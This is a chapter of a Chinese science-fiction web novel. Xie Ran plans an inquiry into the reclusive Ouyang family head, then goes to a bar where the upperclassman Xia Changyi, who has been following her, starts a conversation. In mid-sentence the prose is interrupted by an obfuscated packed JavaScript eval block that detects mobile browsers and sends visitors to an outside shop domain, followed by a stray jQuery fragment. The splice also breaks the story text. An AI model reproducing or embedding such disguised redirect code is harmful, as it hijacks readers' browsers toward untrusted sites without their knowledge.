谢然竟然要他们去查欧阳家主,这让常纪明有些意外。
欧阳家主虽隐退多年,但她年轻时曾是联邦最出色的科学家,专攻微分子生物医学,还涉猎电子工程、人工智能、航空航天等多个领域,是联邦为数不多的全能型人才。
除此之外,她还将所有科研所得全部投入慈善行业,使至少三个贫寒星球的居民摆脱贫困步入温饱。欧阳家主行事低调却享誉联邦,这样的人怎么可能与异域生物……
“我不怀疑她跟异域生物有勾连,”谢然看出他的犹疑,开口解释道:“我只是好奇她隐匿在幕后究竟在做什么。”
“据说是在养病?”常纪明说。世人皆知欧阳家主在生下第三子后身体大不如前,退居幕后调养身体,近二十年都不曾出山。一个几乎与世界隔断的人能做什么?
“养病……”这两个字在谢然舌尖一滚,她目光瞥向常纪明:“不夜星的医疗水平很差么?”
“怎么可能?”常纪明对此十分了解:“欧阳家有专门的科研团队专攻医疗方向,不夜星的医疗水平放眼整个联邦都是数一数二的。”
她挑眉:“那欧阳家主患了什么病,养了近二十年都没能痊愈,甚至都没能好转呢?”
“这……”常纪明顿住,这个方向他竟从不曾考虑过。
不夜星上拥有最先进的机械器官移植技术,即使欧阳家主身患绝症,也能轻松治愈。但她却以“养病”的名义隐居近二十年,这属实有些不符合常理。
他是个极聪明的人,经谢然提醒后,很快列出两种可能:要么,欧阳家主患上的是极难治愈的精神类疾病,所以才无法面世。要么,她根本就没病。
如果欧阳家主没有生病,那她隐退幕后的目的便非常耐人寻味了。
“这下,你总有兴趣去查一查她身上的秘密了吧?”
“嗯……”常纪明低下头揉了下鼻尖。他自小生活在云之城,欧阳家主算是他的长辈,去窥探长辈的隐私总让他觉得有点别扭。
况且,如今她生活在云之城西南角的辞熙堂,据说那里曾是她丈夫的故居,戒备森严,连只蚂蚁都进不去,他们要怎么才能查到她在里面做什么?
“也不一定非得查到什么,尽力而为吧。”谢然也不强求:“如果辞熙堂的消息实在封得紧,你们也可以去帮帮苏祺他们两个。”
“那我们先去找苏祺吧,”常纪明挠挠头:“大白天的也不方便搞偷偷摸摸的事情,等入了夜我们再去探辞熙堂。”
“行。”谢然点点头。
诸事都商议好后,两人回各自房间补充了些装备,然后离开云之城去寻苏祺二人。谢然留在房间研究裘景嵘留下的电子地图,那地图是结合了常纪明的异能重新绘制的,中央城市及附近区域每一处细节都标注得极清楚,她视线掠过每一处容易被忽视的地方,思考异域生物最有可能躲在哪里。
猫猫牌飞到窗边看了眼上空:“天上没有阴影也没有奇怪的飞兽,异域生物现在只能在地面。”
她在地图上标记了几处,发给苏祺一份,叫她多留意这些地方,然后起身说:“走吧,咱们去‘斯蒂卡姆’瞧瞧。”
虽然已证实欧阳随与异域生物无关,但她现在还无法完全认定异域生物与帝国军没有牵扯,帝国军仍是联邦的威胁,也是她心头之患。
常纪明裘景嵘作为两名高阶贵族,带回来的信息还是太片面。她要亲自去斯蒂卡姆一趟,看看作为一个没有任何身份的“平民阶层”,能在那所酒吧获得什么样的服务。
斯蒂卡姆距云之城不远,为保持低调,她没有穿轮滑鞋,而是决定走过去。不过临走前为以防万一,她还是把轮滑鞋放进了右耳的耳钉中。
猫猫牌贴在她外套上假装装饰,走到一半时提醒道:“你身后跟着个小尾巴。”
谢然说:“注意到了,是夏长仪。”
自打出了云之城,她便注意到身后跟着个瘦瘦高高的黑发男子,虽跟她距离较远没法看清他的五官,但身形特征基本与曲肃元队里那位三年级生相符。
谢然对他有点印象,但不多。西索弗利斯联邦拥有数百颗星球,似乎没有一位姓“夏”的星主。但能与曲肃元裘千帆等人交好,夏长仪定然不可能是平民出身。
印象里,这个男生总是沉默寡言,跟在曲肃元身后不太爱说话,但一双狭长的丹凤眼很爱打量人。每当她跟曲肃元产生言语机锋时,总能感受到一束不算太礼貌的目光落到她身上。
“我不喜欢他。”曲星臣言简意赅作出评价。
谢然笑:“好像从没听你说过喜欢什么人,怎么这么小心眼?”
曲星臣:“……他看你的目光让人很不舒服,难道你感受不出来?”
“我行得正坐得直,难道还怕看?”她毫不在意道。
曲星臣闭了闭眼,似力竭般道:“谢然,你就是个木头桩子!”
“好端端的,骂人做什么?”她又被他突如其来的脾气弄得莫名其妙,但很快被别的吸引了注意:“哎,等我买个镜子。”
街边正有一家卖日常用品的小店,谢然进去买了块巴掌大的化妆镜,藏在手心往外微微一偏,便能清晰看到身后之人的动向。
夏长仪对她中途去日用品小店的举动没有起疑,跟着她一路来到酒吧。谢然先一步进去,她穿得朴素脸也陌生,果然没有引人注目,只有一名年纪较小的服务生把她领到吧台,递给她一张菜单便没了下文。
这一片的环境属实不算太好,喧嚣的音乐搭配着节奏感拉满的鼓点,虽没有太震耳欲聋,但也打得她耳朵胀痛头皮发麻。
她戴上兜帽隔绝部分噪音,坐下随便点了杯度数不高的鸡尾酒,静静等鱼上钩。
不过多时,夏长仪踏入酒吧,不出所料,他身边虽围过去几名服务生,但远没有裘景嵘说得那般热情,也没强拉他去包间。
这便印证了她对其身份的猜想,夏长仪虽也隶属贵族阶层,但家世应该一般,不是这些服务生眼中能提供有效情报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627910|204722||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的“大鱼”。
摆脱服务生后,他看似漫无目的地在一楼逛了一圈,最后似乎没找到想要的座位,径直往吧台这边来,坐到谢然旁边的椅子上,冲里面的调酒师打了个响指:“一杯辛德里,谢谢。”
点完酒,他视线漫不经心往旁边一扫,看到谢然的下一秒终于露出一点惊讶的神色:“巧啊,谢然小姐。”
他的演技实在拙劣,谢然慢慢放下手中高脚杯,还之以微笑:“是啊,学长,好巧呢。”
夏长仪完全没察觉出她语气不对,目光落到她胸前的猫猫牌上:“学妹的外套原先有这片装饰么?”
虽知他只是想找个口子跟她搭话,但谢然仍感觉到几分不适。
这人观察她未免太仔细了些。
她跟曲肃元裘落雨明呛暗讽那么多次,也只记得他们穿的大体是什么衣服,夏长仪一句话都没同她说过,竟记得她衣服上有没有装饰么?
“我就说他看你绝对不怀好意!”猫猫牌趴在衣服上一动不敢动,但仍忍不住在她脑海里宣泄不满。
谢然面不改色将牌取下,在手上把玩一圈后重新放回,脸上的笑容丝毫不露破绽:“不过是个装饰罢了,难为学长记得那么清楚。”
既是装饰,便可以随取随放。她话里一如既往带着阴阳怪气的味道,让夏长仪肆意的目光稍微有所收敛。
调酒师将他的酒递过来,他抿了一口,换了个话题说:“距离那些恐怖分子定下的时限已不足半日,学妹还有心情来酒吧,应当已胸有成竹了吧?”
谢然胳膊肘搭在吧台上,跷着二郎腿说:“学长连凶手都不知道是谁,不也有闲情雅致来喝酒么?”
夏长仪面色微僵,他知道谢然嘴巴厉害,却没想到是这般咄咄逼人。为使谈话继续下去,无奈之下,他只得承认来酒吧的目的:“实不相瞒,我是跟着学妹进来的。”
“哦?”谢然眉梢一挑:“原来学长在跟踪我。”
“并非跟踪。”他急忙否认道:“我原是按曲队的安排,在附近搜寻可疑人物,不料正巧看到学妹往这边来。我觉得漫无目的地找实在不是办法,学妹原不是说可以给我们提供些线索?毕竟此事涉及欧阳先生的安危,马虎不得。我想学妹也不会为了任务真跟我们起了嫌隙,这才跟了进来,想跟学妹讨要些线索。”
他一番话看似捧她,实则是将她推到道德制高点进行绑架,不帮他们就是视生命为儿戏,若真出了事欧阳家还会责怪她为什么知情不报。而他们这些什么都不知道的无能之辈就能躲在后面美美隐身。
他拿捏准了人性,但没拿捏准谢然压根不吃他这套,直接冲他翻了个白眼,冷道:“学长看走眼了,我就是一个小肚鸡肠的人。”
夏长仪也不恼,笑了笑说:“如果是因为裘落雨之前对你出言不逊,我替她向你道歉。”
他态度竟出乎意料地诚恳,谢然眼珠一转,心尖冒了个坏,顿时改了主意,决定先假装被他打动,利用他去帮自己解决些麻烦。